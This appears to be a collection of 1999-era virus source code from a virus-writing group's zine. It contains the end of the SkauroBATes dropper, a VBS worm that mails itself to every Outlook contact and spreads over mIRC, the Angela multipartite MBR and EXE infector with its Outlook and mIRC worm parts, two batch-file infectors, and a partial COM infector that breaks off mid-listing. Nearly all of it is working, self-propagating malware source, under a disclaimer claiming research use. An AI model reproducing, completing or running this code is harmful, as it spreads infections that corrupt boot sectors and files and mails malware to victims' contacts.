db "Skauro.com", 0Dh, 0Ah

db "Del Skauro.com", 0Dh, 0Ah

db "REM SkauroBATes virus by Black Jack /LineZer0 /Metaphase"

db 0Dh, 0Ah

db "REM coded in Austria in December 1999", 0Dh, 0Ah

bat_code2_length = $ - offset bat_code2

end_virus:

read_buffer     db bat_code2_length dup(?)

end_virus_mem:

; ----- FIRST GENERATION DROPPER --------------------------------------------

first_gen_start:

push cs cs                      ; DS=ES=CS

pop ds es

encrypt:

mov si, offset start_decrypted  ; start of virus code to be crypted

mov di, offset crypt_buffer     ; place to store encrypted virus code

mov cx, crypt_length            ; length to crypt

encrypt_loop:

lodsb                           ; AL=a byte to crypt

mov ah, al                      ; AH=AL

or al, 11110000b                ; set high nibble in AL

and ah, 11110000b               ; clear low nibble in AH

or ah, ah                       ; AH=0?

JNE ah_not_zero                 ; AH is not zero, it's allrigt

dec ah                          ; zero is not allowed!

ah_not_zero:

stosw                           ; store encrypted bytes

LOOP encrypt_loop               ; loop til done

mov ah, 3Ch                     ; generate skauro.com file

xor cx, cx                      ; no attributes

mov dx, offset first_gen_filename  ; DS:DX=pointer to filename

int 21h

xchg bx, ax                     ; handle to BX

mov ah, 40h                     ; write encrypted virus code there

mov cx, code_length             ; length to write

mov dx, offset start            ; DS:DX=pointer to buffer

int 21h

mov ah, 3Eh                     ; close file

int 21h

mov ah, 9                       ; display message

mov dx, offset message

int 21h

mov ax, 4C00h                   ; quit (returncode 0)

int 21h

first_gen_filename      DB "skauro.com", 0

message                 DB "file skauro.com generated. "

DB "Run it to load the virus.", 0Dh, 0Ah, "$"

end first_gen_start

=======[end skauro.asm]======================================================

DISCLAIMER

----------

This text contains source code that can be compiled to living viruses. I do *NOT* support the spreading of viruses into the wild, therefore this whole document was written for research and education only. The author and his groups can't be hold responsible for what you decide to do with the information and/or sources presented in this document.


VBS.COOL_NOTEPAD_DEMO By VxFaeRie

' COOL_NOTEPAD_DEMO VBS virus - by VxF

' This will scan as a LoveLetter Variant which it kinda is but this is

' my first VBS virus I ever made which I used to study and learn some of

' the common functions used to create viruses using VBS.

' Beginning of code

On Error Resume Next

Dim fso,dirsystem,file,vbscopy,dow,reg,FileLoc,MakeCopy,Lists,a,x,RegLists,Entries,Addresses,RegAddress,Mail

Set fso = CreateObject("Scripting.FileSystemObject")

Set reg = CreateObject("WScript.Shell")

Set dirsystem = fso.GetSpecialFolder(1)

Set file = fso.OpenTextFile(WScript.ScriptFullname,1)

Set MakeCopy = fso.GetFile(WScript.ScriptFullName)

Set OutLook=WScript.CreateObject("Outlook.Application")

Set mapi=OutLook.GetNameSpace("MAPI")

vbscopy=file.ReadAll

MakeCopy.Copy(dirsystem&"\COOL_NOTEPAD_DEMO.TXT.vbs")

FileLoc = dirsystem&"\COOL_NOTEPAD_DEMO.TXT.vbs"

reg.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\COOL_NOTEPAD_DEMO", FileLoc

reg.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"

If fso.FileExists("c:\mirc\mirc.ini") then

   Set Mirc=fso.CreateTextFile("C:\mirc\script.ini")

      Mirc.WriteLine "[script]"

      Mirc.WriteLine ";COOL_NOTEPAD_DEMO by VxF"

      Mirc.WriteLine ";Greetz to everyone"

      Mirc.WriteLine ";"

      Mirc.WriteLine "n0=on 1:CONNECT:{"

      Mirc.WriteLine "n1= /join #virus"

      Mirc.WriteLine "n2= /msg #virus Cool Notepad Demo"

      Mirc.WriteLine "n3= /part #virus"

      Mirc.WriteLine "n4= /clear"

      Mirc.WriteLine "n5= /motd"

      Mirc.WriteLine "n6=}"

      Mirc.WriteLine "n7=on 1:JOIN:#:{"

      Mirc.WriteLine "n8= /if ( $nick == $me ) { halt }"

      Mirc.WriteLine "n9= /.dcc send $nick "&dirsystem&"\COOL_NOTEPAD_DEMO.TXT.vbs"

      Mirc.WriteLine "n10=}"

      Mirc.Close

End if

'Send this sucker on its way

For Lists=1 to mapi.AddressLists.Count

Set a=mapi.AddressLists(Lists)

x=1

RegLists=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)

If (RegLists="") then

RegLists=1

End if

If (int(a.AddressEntries.Count)>int(RegLists)) then

For Entries=1 to a.AddressEntries.Count

Addresses=a.AddressEntries(x)

RegAddress=""

RegAddress=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&Addresses)

If (RegAddresses="") then

Set Mail=OutLook.CreateItem(0)

Mail.Recipients.Add(Addresses)

Mail.Subject = "Cool Notepad Demo"

Mail.Body = vbcrlf & "Hey check out this text file I sent it will do something neat in notepad."& vbcrlf & "Enjoy :-)"

Mail.Attachments.Add(dirsystem&"\COOL_NOTEPAD_DEMO.TXT.vbs")

Mail.Send

reg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&Addresses,1,"REG_DWORD"

End if

x=x+1

Next

reg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count

Else

reg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count

End if

Next

Set OutLook=Nothing

Set mapi=Nothing


Angela by Evul

Angela by: Evul [Metaphase]

Type - Boot Stealth Multipartite Virus. Infects MBR, Floppy

       Boot Sectors, and EXE-type files including command.com

       Outlook and Mirc Worm

Interupts Modified, 13, 1c, 18, 21

Currently 2337 bytes of viral code

*** NOTE ***

This worm is in beta testing currently ,and  due to time allowed

I must release it now, if I want it to make Metaphase #2.   This

is NOT the final version, and I dont guarantee that it will work

100%  on all  systems.  There are  a couple small bugs I know of,

and some code that could be better  written.  Any bugs found can

be  reported  to me at  evul@coderz.net.  Suggestions  are  also

appreciated.

thanx

Thanks to Jackie Twoflower (vbs), T-2000 (suggestions), and

to Gigabyte (suggestions + testing).

Method:

Upon execution of infected file or Angela.exe dropper:

1. The master boot record of the first physical drive is read

 to memory, and saved at sector 8, head 0.  The virus overwrites the

boot code of the original MBR with its ownloader routine, and writes

it back to sector 1, preserving the partition tables.  The remaining

sectors of virus code are written to disk at sector 4, head 0.

2. c:\windows\system\iosubsys\hsflop.pdr is deleted in order

to allow the virus to maintain control of the floppy drive under win9x.

3. The original exe file is reconstructed to be sent as a worm

as c:\windows\system\angela.exe

4. Angela.vbs is written in the startup directory, and

script.ini in c:\mirc in order to facilitate sending of Angela.exe

by outlook and mirc.

5. Autoexec.bat is truncated and then written with a command

line to execute angela.exe in order to ensure that all parts of the

worm are still installed when windows loads.  This also removes some

of the DOS startup scanners which tend to catch boot infections.

6. The PSP and stack are restored, and the virus returns

control to the original host code, to be executed normally.  Program

terminates when run as dropper.

Upon Execution from boot:

1. The stack is set, and top of dos memory is lower, the

resulting memory hole is used to remain resident in.

2. It then copies itself to this location, and searches BIOS

ROM for CD18 (int 18h opcode) and if found directs int 13h to it,

thereby not moving int 13h handler outside of BIOS.  Int 18h is hooked

with the virus, where int 13h calls will be directed. Int 1ch is also

hooked.

3. The real boot code is then read to 0:7c00h and control

is passed on to it, allowing a normal boot.

Upon ISR calls:

1. int 13h - on the condition that the machine is accessing

head 0, sector 1, the virus will assume control,. otherwise control

is passed on to the real int 13h handler.  If it is a write to that

sector, the virus simoply performs and IRET, disallowing writes to

the sector the virus loader is in.  On a read, it will first determine

if it is already infected, if so,, the virus allows the normal read,

and restores the registers as if it hadnt been perfromed, and reads

the real boot code to the first part of the read buffer,  thereby

stealthing its existance in sector 1.  If its not already infected,

the virus will determine drive type and and save the mbr accordingly,

then infect sector 1 with the loader, and write the remaining virus

immediately before the MBR storage sector - then return control as if

it was a read to an infected mbr.

2. Int 1ch - this handler merely counts 300 timer clicks

after boot to install the int 21h handler.  It stays active, in case

something manages to unhook 21h, it will be immediately re-hooked.

3. Int 21h - this is a typical dos exe infection routine, not

implementing any stealthing at the present time.  It merely intercepts

dos EXEC function, and infects the file, if its not already.  It also

successfully infects command.com and edit.com.  It opens the file,

reads the header to buffer, and checks for the virus signature in the

checksum.  If not present, it moves to the end of file, writes the

entire virus there, then corrects the header to execute the virus first

and moves to the beginning of the new host, and writes the new header.

Files Dropped:

1. angela.exe - this is the dropper/worm exe recunstructed by

the virus to run standalone.  This will be sent by email and Mirc to

otehr users, and also is executed from autoexec.bat to ensure that all

parts are installed prior to windows loading.

2. abgela.vbs - the vbscript that will use MS Outlook to send

the dropper exe to the first 20 people on your address book.

3. script.ini - this is a simple command in the mirc scripting

that will cause mirc to attemt to dcc the dropper to anyone who joins

the channel an infected user is currently in.

As is, this worm works, maybe not perfectly on all machines, but it works.

Look for future versions of this, as I have many features I want to add,

and some bugs to fix.  Thanks to KD for the patience in letting me time to

get something done,. seing as i have been real busy with other things

lately.

.model tiny

.code

.286

org	00h

int21_seg	equ	((21h*4)+2)

int13_seg	equ	((13h*4)+2)

boot_stack	equ	7c00h

tom_ptr	equ	413h

bpb_size	equ	40h

sectors	equ	5

vir_sect	equ	4

reloc_bytes	equ	(offset end_loader - offset begin)

size	equ	(offset buffer - offset begin)

scrpt_	equ	(offset ang_end - offset angela)

ini_size	equ	(offset ini_end - offset ini_dat)

bat_size	equ	(offset end_bat - offset beg_bat)

mem_size	equ	4

int_	equ	(offset int13)

begin:

cld

mov	ax,	cs

cmp	ax,	0

je	boot_it

jmp	exe_entry

boot_it:

mov	ss,	ax

mov	sp,	(boot_stack - 2)

sti

push	dx

mov	ds,	ax

mov	es,	ax

mov	si,	tom_ptr

mov	di,	si

lodsw

sub	ax,	mem_size

stosw

shl	ax,	6

mov	es,	ax

mov	cx,	reloc_bytes

xor	di,	di

mov	si,	boot_stack

cmp	dl,	80h

jae	no_bpb2

add	si,	bpb_size

no_bpb2:

rep	movsb

pop	dx

push	dx

mov	dx,	80h

mov	ax,	0204h

lea	bx,	[part_two]

call	hdd_flop

int	13h

mov_it:

lea	bx,	[re_enter]

push	es

push	bx

retf

re_enter:

xor	ax,	ax

mov	ds,	ax

mov	si,	(13h*4)

push	si

lea	di,	[ivt]

movsw

movsw

mov	si,	(1ch*4)

push	si

movsw

movsw

cli

push	ds

pop	es

pop	di

lea	ax,	[new1c]

stosw

mov	ax,	cs

stosw

pop	di

lea	ax,	[vir_13]

stosw

mov	ax,	cs

stosw

sti

pop	dx

call	hdd_flop

add	cx,	vir_sect

mov	ax,	0201h

mov	bx,	7c00h

call	int_13

mov	bx,	7c00h

push	es

push	bx

retf

int_13:

pushf

call	dword ptr cs:[int13]

ret

go_13:

jmp	dword ptr cs:[int13]

vir_13:

vir_13b:

cmp	ah,	2

jne	go_13

cmp	dh,	0

jne	go_13

cmp	cx,	1

jne	go_13

push	ds

push	es

pusha

push	cs

pop	es

push	cs

pop	ds

lea	bx,	[buffer]

push	bx

call	int_13

pop	di

cmp	dl,	80h

jae	no_bpb

add	di,	bpb_size

no_bpb:

mov	bp,	di

cmp	byte ptr cs:[di],0fch

jne	_fex

jmp	stealth

_fex:

push	dx

call	hdd_flop

mov	ah,	03

mov	al,	vir_sect

lea	bx,	[part_two]

push	cx

call	int_13

pop	cx

add	cx,	vir_sect

lea	bx,	[buffer]

mov	ax,	0301h

call	int_13

mov	di,	bp

xor	si,	si

mov	word ptr cs:[buffer],03eebh

mov	cx,	reloc_bytes

rep	movsb

lea	bx,	[buffer]

mov	ax,	0301h

mov	cx,	1

pop	dx

call	int_13

stealth:

popa

pop	es

pop	ds

call	int_13

pusha

mov	ax,	0201h

call	hdd_flop

add	cx,	vir_sect

do_it:

call	int_13

popa

out_13:

iret

hdd_flop:

mov	cx,	4

cmp	dl,	80h

jae	no_flop

mov	cx,	10

inc	dh

no_flop:

ret

end_loader:

ivt:

int13	dd	0

int1c	dd	0

int21	dd	0

int24	dd	0

save	dw	0

part_two:

new1c:

pushf

pusha

push	ds

xor	ax,	ax

mov	ds,	ax

mov	ax,	word ptr ds:[int21_seg]

mov	bx,	cs

cmp	ax,	bx

je	no_hook

inc	word ptr cs:[Timer]

        cmp     word ptr cs:[Timer],300

jb	no_hook

        mov     word ptr cs:[Timer],299

call	hook_21

no_hook:

pop	ds

popa

popf

jmp	dword ptr cs:[int1c]

Timer 	dw 	0

dos_	db 	0

exe_entry:

call	delta

delta:

pop	bp

sub	bp,	offset delta

pusha

pushf

push	es

push	ds

call	set_dta

xor	ax,	ax

mov	ds,	ax

mov	ax,	word ptr ds:[tom_ptr]

shl	ax,	6

mov	bx,	word ptr ds:[int13_seg]

cmp	ax,	bx

je	no_fex

push	cs

pop	es

push	es

pop	ds

mov	ax,	0201h

lea	bx,	[buffer+bp]

mov	cx,	1

mov	dx,	80h

int	13h

cmp	byte ptr cs:[buffer+bp],0fch

je	no_fex

mov	ah,	03

mov	al,	vir_sect

lea	bx,	[part_two+bp]

mov	cx,	4

mov	dx,	80h

int	13h

lea	bx,	[buffer+bp]

add	cx,	vir_sect

mov	ax,	0301h

int	13h

lea	di,	[buffer+bp]

lea	si,	[begin+bp]

mov	cx,	reloc_bytes

mov	dx,	80h

rep	movsb

lea	bx,	[buffer+bp]

mov	cx,	1

mov	ax,	0301h

mov	dx,	80h

int	13h

no_fex:

push	word ptr cs:[ip1+bp]

push	word ptr cs:[cs1+bp]

mov	word ptr cs:[ip1+bp],0000

mov	word ptr cs:[cs1+bp],0fff0h

mov	ah,	47h

lea	si,	[buffer+bp]

xor	dl,	dl

int	21h

lea	dx,	[windrv+bp]

call	delete

lea	dx,	[winsys+bp]

call	chdir

lea	dx,	[angie+bp]

call	create

mov	cx,	1ch

lea	dx,	[header+bp]

call	write

mov	cx,	(200h-1ch)

lea	di,	[buffer+100h+bp]

xor	ax,	ax

repnz	stosb

lea	dx,	[buffer+100h+bp]

mov	cx,	(200h-1ch)

call	write

mov	cx,	size+22h

lea	dx,	[begin+bp]

call	write

call	close_

pop	word ptr cs:[cs1+bp]

pop	word ptr cs:[ip1+bp]

lea	dx,	[winstrt+bp]

call	chdir

lea	dx,	[angvbs+bp]

call	create

mov	cx,	scrpt_

lea	dx,	[angela+bp]

call	write

call	close_

lea	dx,	[mrc_dir+bp]

call	chdir

lea	dx,	[mrc_ini+bp]

call	create

mov	cx,	ini_size

lea	dx,	[ini_dat+bp]

call	write

call	close_

lea	dx,	[root+bp]

call	chdir

lea	dx,	[batch+bp]

call	create

lea	dx,	[beg_bat]

mov	cx,	bat_size

call	write

close_bat:

call	close_

lea	dx,	[buffer+bp]

call	chdir

call	fix_dta

errr:

pop	ax

push	ax

add	ax,	10h

add	word ptr [cs1+bp],ax

add	word ptr [ss1+bp],ax

pop	ds

pop	es

popf

popa

cli

push	word ptr cs:[sp1+bp]

pop	sp

push	word ptr cs:[ss1+bp]

pop	ss

sti

clc

db	0eah

data1:

ip1	dw	0000h

cs1	dw	0fff0h

ss1	dw	0fff0h

sp1	dw	0000h

set_dta:

mov	ah,	2fh

int	21h

mov	word ptr cs:[dta_+bp],bx

mov	bx,	es

mov	word ptr cs:[dta_+2+bp],bx

mov	ah,	1ah

lea	dx,	[dta_+bp]

int	21h

ret

fix_dta:

mov	dx,	word ptr cs:[dta_+2+bp]

mov	ds,	dx

mov	dx,	word ptr cs:[dta_+bp]

mov	ah,	1ah

int	21h

ret

delete:

mov	ah,	41h

int	21h

ret

chdir:

mov	ah,	3bh

int	21h

ret

create:

mov	ah,	3ch

xor	cx,	cx

int	21h

xchg	ax,	bx

ret

write:

mov	ah,	40h

int	21h

ret

close_:

mov	ah,	3eh

int	21h

ret

open:

mov	ax,	3d02h

int	21h

xchg	ax,	bx

ret

new21:

pushf

cmp	ah,	4bh

je	iz_exec

quit:

popf

jmp	dword ptr cs:[int21]

gone:

popf

iret

iz_exec:

        push	ax

        push	bx

        push	cx

        push	dx

        push	si

        push	di

        push	bp

        push	ds

        push	es

mov	si,	dx

cmp	word ptr ds:[si],'MV'

jne	chk_rk

jmp	done

chk_rk:

cmp	word ptr ds:[si],'RK'

jne	ok_

jmp	done

ok_:

mov	ax,	3d02h

call	int_21

        push	cs

        pop	ds

push	ds

pop	es

xchg	ax,	bx

mov	ah,	3fh

mov	cx,	1ch

lea	dx,	[buffer]

call	int_21

cmp	byte ptr cs:[buffer+18h],40h

je	close

cmp	word ptr [buffer],'ZM'

jne	close

cmp	word ptr [buffer+12h],'CA'

je	close

mov	ax,	5700h

call	int_21

mov	word ptr [time],cx

mov	word ptr [time+2],dx

lea	si,	[buffer+14h]

lea	di,	[data1]

movsw

movsw

lea	si,	[buffer+0eh]

movsw

movsw

mov	ax,	4202h

xor	dx,	dx

xor	cx,	cx

call	int_21

call	fix_header

std

sub	di,	10h

stosw

xchg	ax,	dx

stosw

mov	ah,	40h

lea	dx,	[begin]

mov	cx,	size

call	int_21

mov	ax,	4200h

xor	dx,	dx

xor	cx,	cx

call	int_21

mov	ah,	40h

lea	dx,	[buffer]

mov	cx,	1ch

call	int_21

mov	cx,	word ptr [time]

mov	dx,	word ptr [time+2]

mov	ax,	5701h

call	int_21

close:

mov	ah,	3eh

call	int_21

done:

        pop	es

        pop	ds

        pop	bp

        pop	di

        pop	si

        pop	dx

        pop	cx

        pop	bx

        pop	ax

jmp	quit

hook_21:

xor	ax,	ax

mov	ds,	ax

lea	ax,	[new21]

mov	bx,	cs

cli

xchg	ax,	ds:[21h*4]

xchg	bx,	ds:[21h*4+2]

mov	word	ptr cs:[int21],ax

mov	word	ptr cs:[int21+2],bx

sti

ret

fix_header:

push	dx

push	ax

mov 	cx,	10h

        div 	cx

        sub 	ax,	word ptr [buffer+8h]

lea	di,	[buffer+16h]

std

stosw

xchg	ax,	dx

stosw

xchg	ax,	dx

sub	di,	4

cld

stosw

mov	ax,	0fffeh

stosw

mov	ax,	'CA'

stosw

pop	ax

pop	dx

add 	ax,	size

        adc 	dx,	00

        mov 	cx,	200h

        div 	cx

        cmp 	dx,	00

        je  	cont5

        inc 	ax

cont5:

ret

int_21:

pushf

call	dword ptr cs:[int21]

ret

dir_data:

mrc_dir	db	'c:\mirc',0

mrc_ini	db	'script.ini',0

angie	db	'Angela.exe',0

angvbs	db	'Angela.vbs',0

winsys	db	'c:\windows\system',0

winstrt	db	'c:\windows\startm~1\programs\startup',0

windrv	db	'c:\windows\system\iosubsys\hsflop.pdr',0

root	db	'c:\',0

batch	db	'autoexec.bat',0

beg_bat:

db	0dh,0ah

db	'@ECHO OFF',0dh,0ah

db	'c:\windows\system\angela.exe',0dh,0ah

db	'REM - DO NOT REMOVE!',01,01

end_bat:

header	db	20h	dup('H')

ini_dat:

db	'[Script]',0dh,0ah

db	'n0=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }',0dh,0ah

db	'n1=  /dcc send $nick C:\windows\system\angela.exe',0dh,0ah

db	'n2=}',0dh,0ah

db	'n3=on 1:CONNECT:{',0dh,0ah

db	'n4=/join #uc2',0dh,0ah

db	'n5=}',0dh,0ah

ini_end:

angela:

db	0dh,0ah,0dh,0ah,0dh,0ah,'On Error Resume Next',0dh,0ah

db	'Set y01 = CreateObject(',22h,'outlook.application'

db	22h,')',0dh,0ah,'If y01 <> ',22h,22h,' Then',0dh,0ah

db	'Set y02 = y01.GetNameSpace(',22h,'MAPI',22h,')'

db	0dh,0ah,'For y03 = 1 To y02.AddressLists.Count',0dh,0ah

db	'Set y04 = y02.AddressLists(y03)',0dh,0ah,'y05 = 1'

db	0dh,0ah,'Set y06 = y01.CreateItem(0)',0dh,0ah,'For y07'

db	' = 1 To y04.AddressEntries.Count',0dh,0ah,'y08 = y04.'

db	'AddressEntries(y05)',0dh,0ah,'y06.Recipients.Add y08',0dh,0ah

db	'y05 = y05 + 1',0dh,0ah,'If y05 > 20 Then Exit For'

db	0dh,0ah,'Next',0dh,0ah,'y06.Subject = ',22h,'Finally '

db	'found it!',22h,0dh,0ah,'y06.Body = ',22h,'Here are the'

db	' files you asked me for...',22h,0dh,0ah,'y06.Attachment'

db	's.Add ',22h,'C:\Windows\System\Angela.exe',22h,0dh,0ah

db	'y06.DeleteAfterSubmit = True',0dh,0ah,'y06.Send',0dh,0ah

db	'y08 = ',22h,22h,0dh,0ah,'Next',0dh,0ah,'End If',0dh,0ah

db	'Set y09 = CreateObject(',22h,'Scripting.FileSystemObject'

db	22h,')',0dh,0ah,'y09.DeleteFile Wscript.ScriptFullName'

ang_end:

buffer	db	1ch	dup(?)

time	dw	?

old_dta	dd	0

dta_	db	?

end	begin


ASM
Metaphase ASM

Cake 0.1 by Sblip

graytile  by Sblip

pr0n Worm 1.1 by nUcLeii

BAT.Eicar by nUcLeii

Obsolete 1.1 by nUcLeii

potato by nUcLeii

Battus by Black Jack

Win32.Eclipse by Black Jack

Disassembly of Form.a By Black Jack

Angela by Evul

Win32.AtaXia by Evul

Slinky 1.0 by MetalKid

Disassembly of Dementia.4229 by Darkman / 29A

Disassembly of Ply.5143 by Darkman / 29A

Disassembly of Walrus.482  by Darkman / 29A

Sisters by Techno Phunk / TI

Win.Dragon by Yosha / FS

Three_Years.A by VEiN

gnosis by BSL4 / 3C

Win32.Butterflies by Twizter / NuKE


Obsolete by nUcLeii

comment %

 BAT.Obsolete v1.1

 This is another form of simple outdated technology.

 Obsolete is a bat file infector. It infects via prepending.

 When it runs out of resources it drops itself to c:\winstart.bat

 and c:\windows\winstart.bat in an attempt to preserve infection.

 Coded sometime in march, with no intention of doing anything

 interesting in the first place.

 To everyone who has learned they are replaceable...

%

.model tiny

.code

   code segment

      assume cs:code,ds:code

      org 100h

start:

db	'::'

jmp	com_code

        db      0dh,0ah

db	'@echo off',0dh,0ah

        db      'copy /b %0+%0.bat n.com>NUL',0dh,0ah

comfile db      'n.com',0

db	0dh,0ah

db	'::'

com_code:

mov	ah,41h

xor	cx,cx

lea	dx,comfile

int	21h

findfirst:

mov	ah,4eh

mov	cx,7

lea	dx,fileb

int	21h

jnc	infect

exit:

mov	ah,3ch

xor	cx,cx

lea	dx,win

push	dx

int	21h

mov	ax,3d02h

pop	dx

int	21h

mov     ah,40h

lea     dx,start

mov     cx,endow-start

push	ax dx cx

int     21h

mov     ah,3eh

int     21h

mov	ah,3ch

xor	cx,cx

lea	dx,wind

push	dx

int	21h

mov     ax,3d02h

pop	dx

int     21h

pop	cx dx ax

int     21h

mov     ah,3eh

int     21h

mov     ax,4c00h	; i killed myself

int     21h

infect:

mov	ax,4300h

mov     dx,offset 9eh

int	21h

push	cx

mov     ax,4301h

xor     cx,cx

int	21h

        mov     ax,3d02h

mov     dx,offset 9eh

        int     21h

        xchg    bx,ax

mov	ax,5700h	; function to get timestamp

int	21h

push	cx	; time

push	dx	; date

xchg	ax,cx

        cmp	al,1eh	; if al=30 (seconds div 2)

        je	close	; then leave it alone.

mov	ah,3fh

mov	cx,ds:[9ah]

push	cx

lea	dx,endow

int	21h

mov	ax,4200h

xor	cx,cx

cwd

int	21h

mov     ah,40h

lea     dx,start

mov     cx,endow-start

int     21h

mov	ah,40h

pop	cx

lea	dx,endow	; write original batch code

int	21h

close:

mov	ax,5701h	; function to set timestamp

pop	dx	; date

pop	cx	; time

        mov	cl,1eh	; infection marker

int	21h

mov     ah,3eh

int     21h

mov	ax,4301h

pop	cx

mov     dx,offset 9eh

int	21h

mov	ah,4fh

int	21h

jnc	infect

jmp	exit

fileb	db '*.bat',0

wind	db 'c:\windows\winstart.bat',0

win	db 'c:\winstart.bat',0

        db 0dh,0ah

vname	db ':: BAT.Obsolete v1.1 (c) nucleii 1999',0

        db 0dh,0ah

endow:

code ends

     end start


BAT.Eicar by nUcLeii

; BAT.Eicar v1.0

; This is the result of a few wasted hours yet again playing with outdated

; technology and a silly mistake. BAT.Eicar is a com file companion virus

; with a little twist. BAT.Eicar starts by searching for com files in the

; current directory. Once a host is found, BAT.Eicar will buffer, then

; overwrite the first 68 bytes with the EICAR Standard Anti-virus Test

; file. It then drops itself as a .bat file with the same filename. When

; the batch file is ran, it will restore the overwritten code of the

; original com file, create a simple *.com overwriter, execute the original

; host file, then execute the overwriter. Too bad this code might as well

; be called an overwriter or intended due to a simple error on my part.

; I failed to notice the os looks for com/exe/bat instead of a bat/com/exe

; like i thought it did. Anyway, someone should take the time to go back

; and create another such companion virus. Im releasing this code in hopes

; of just that. Im too lazy and have too many other projects to work on to

; spend anymore time with this. I don't know about you, but it makes me

; laugh to think of some guy telling the av'ers that he has been infected

; with EICAR and its all over his hdd. If anyone else ever gets around to

; this, please take the time to mail me the source.

; nucleii@fnmail.com

; nucleii@coderz.net

.model tiny

.code

 code segment

      assume cs:code,ds:code

 org 100h

start:

db	'::'

jmp	com_code

        db      0dh,0ah

db	'@echo off',0dh,0ah

        db      'copy /b %0+%0.bat n.com>NUL',0dh,0ah

        db      'n.com',0dh,0ah

db	'::'

com_code:

mov	ah,41h

xor	cx,cx

lea	dx,comfile

int	21h

restore:

jmp	bypass	; for 1st generation

;	mov	ah,4eh

mov	cx,7

lea	dx,endow

int	21h

jc	exit

mov     ax,4301h

xor     cx,cx

int	21h

mov     ax,3d02h

lea     dx,endow

int     21h

        xchg    bx,ax

mov	ah,40h

mov	cx,44h

lea	dx,ebuff

int	21h

mov     ah,3eh

int     21h

findfirst:

mov	ah,4eh

mov	cx,7

lea	dx,comer

int	21h

jnc	infect

exit:

mov	ah,3ch

xor	cx,cx

lea	dx,comfile

int	21h

mov	ax,3d02h

lea	dx,comfile

int	21h

mov	ah,40h

lea	dx,b0f

mov	cx,e0f-b0f

int	21h

mov	ah,3eh

int	21h

mov     ax,4c00h

int     21h

infect:

jc	exit

mov     ax,4301h

xor     cx,cx

int	21h

        mov     ax,3d02h

mov     dx,offset 9eh

        int     21h

        xchg    bx,ax

mov	ah,3fh

mov	cx,44h

push	cx

lea	dx,ebuff

int	21h

close:

mov     ah,3eh

int     21h

cld

mov	di, offset 9eh

mov	cx,0eh

mov	al,'.'

repne	scasb

je	foundcom

jmp	exit

foundcom:

mov	ax,'ab'

stosw

mov	al,'t'

stosb

mov	ah,3ch

xor	cx,cx

mov	dx,offset 9eh

int	21h

mov     ax,3d02h

mov     dx,offset 9eh

int     21h

xchg    bx,ax

mov     ah,40h

lea     dx,start

mov     cx,endow-start

int     21h

cld

mov	di, offset 9eh

mov	cx,0eh

mov	al,'.'

repne	scasb

je	switchback

jmp	exit

switchback:

mov	ax,'oc'

stosw

mov	al,'m'

stosb

mov     ah,40h

mov	cx,0eh

mov     dx,offset 9eh

int     21h

mov     ah,40h

mov	cx,2

lea     dx,crlf

int     21h

mov     ah,40h

mov	cx,5

lea     dx,comfile

int     21h

mov     ah,3eh

int     21h

mov	ah,4fh

int	21h

jmp	infect

b0f:

db 0B4h,041h,033h,0C9h,0BAh,046h,001h,0CDh,021h,0B4h,04Eh,0B9h,007h,000h

db 0BAh,040h,001h,0CDh,021h,073h,005h,0B8h,000h,04Ch,0CDh,021h,072h,0F9h

db 0B8h,001h,043h,033h,0C9h,0CDh,021h,0B8h,002h,03Dh,0BAh,09Eh,000h,0CDh

db 021h,093h,0B4h,040h,0BAh,04Ch,001h,0B9h,044h,000h,0CDh,021h,0B4h,03Eh

db 0CDh,021h,0B4h,04Fh,0CDh,021h,0EBh,0DAh,02Ah,02Eh,063h,06Fh,06Dh,000h

db 06Eh,02Eh,063h,06Fh,06Dh,000h,058h,035h,04Fh,021h,050h,025h,040h,041h

db 050h,05Bh,034h,05Ch,050h,05Ah,058h,035h,034h,028h,050h,05Eh,029h,037h

db 043h,043h,029h,037h,07Dh,024h,045h,049h,043h,041h,052h,02Dh,053h,054h

db 041h,04Eh,044h,041h,052h,044h,02Dh,041h,04Eh,054h,049h,056h,049h,052h

db 055h,053h,02Dh,054h,045h,053h,054h,02Dh,046h,049h,04Ch,045h,021h,024h

db 048h,02Bh,048h,02Ah,000h

e0f:

comer	db '*.com',0

comfile	db 'n.com',0

ebuff	db 68 dup (0)

crlf	db 0dh,0ah

vname	db ':: BAT.Eicar v1.0 (c) nucleii 1999',0

db 0dh,0ah

endow:

bypass:

        lea     di,restore

        lea     si,newbytes

        movsw

        movsb

        jmp     findfirst

newbytes:

mov	ah,4eh

code ends

     end start


Slinky by MetalKid

;--------------------------------------------------------------------------

;Name: [Slinky v1.0]

;Author: [Metalkid / Metaphase VX Team]

;

;Info:

; Very simple, Com Infector. Appends the 'virus' to the end of the host.

; Infects DOS .com files in the current directory.

; The code looks like shit, and it's not much, but it works!

; So pathetic.. Not even worthy of release.. :)

;   ... and many more to come!

; Assemble with tasm as follows

; tasm slinky /m3

; tlink slinky /t

;

;--------------------------------------------------------------------------

.model tiny

.code

org 100h

start:          jmp before_start

                db ''

before_start:   call find_files

find_files:     pop bp

                sub bp,offset find_files

                lea si,[bp+buffer]

                mov di,100h

                push di

                movsw

                movsw

                lea dx,[bp+newdta]

                mov ah,1ah

                int 21h

                lea dx,[bp+com_mask]

                mov ah,4eh

                int 21h

                jc try_again

                jmp slinky

try_again:      mov ah,3eh

                int 21h

                lea dx,[bp+com_mask]

                mov ah,4fh

                int 21h

                jc slinky_exit

slinky:         mov ax,3d02h

                lea dx,[newdta+bp+1eh]

                int 21h

                xchg ax,bx

                mov ah,3fh

                lea dx,[bp+buffer]

                mov cx,4

                int 21h

                cmp byte ptr cs:[bp+buffer+3],''

                je try_again

                mov ax,4202h

                cwd

                xor cx,cx

                int 21h

                sub ax,3

                mov word ptr[bp+goto_slinky+1],ax

                mov ax,4200h

                cwd

                xor cx,cx

                int 21h

                mov ah,40h

                lea dx,[offset bp+goto_slinky]

                mov cx,4

                int 21h

                mov ax,4202h

                cwd

                xor cx,cx

                int 21h

                mov ah,40h

                lea dx,[offset bp+before_start]

                mov cx,offset slinky_end-before_start

                int 21h

                mov ax,4202h

                cwd

                xor cx,cx

                int 21h

close_file:     mov ah,3eh

                int 21h

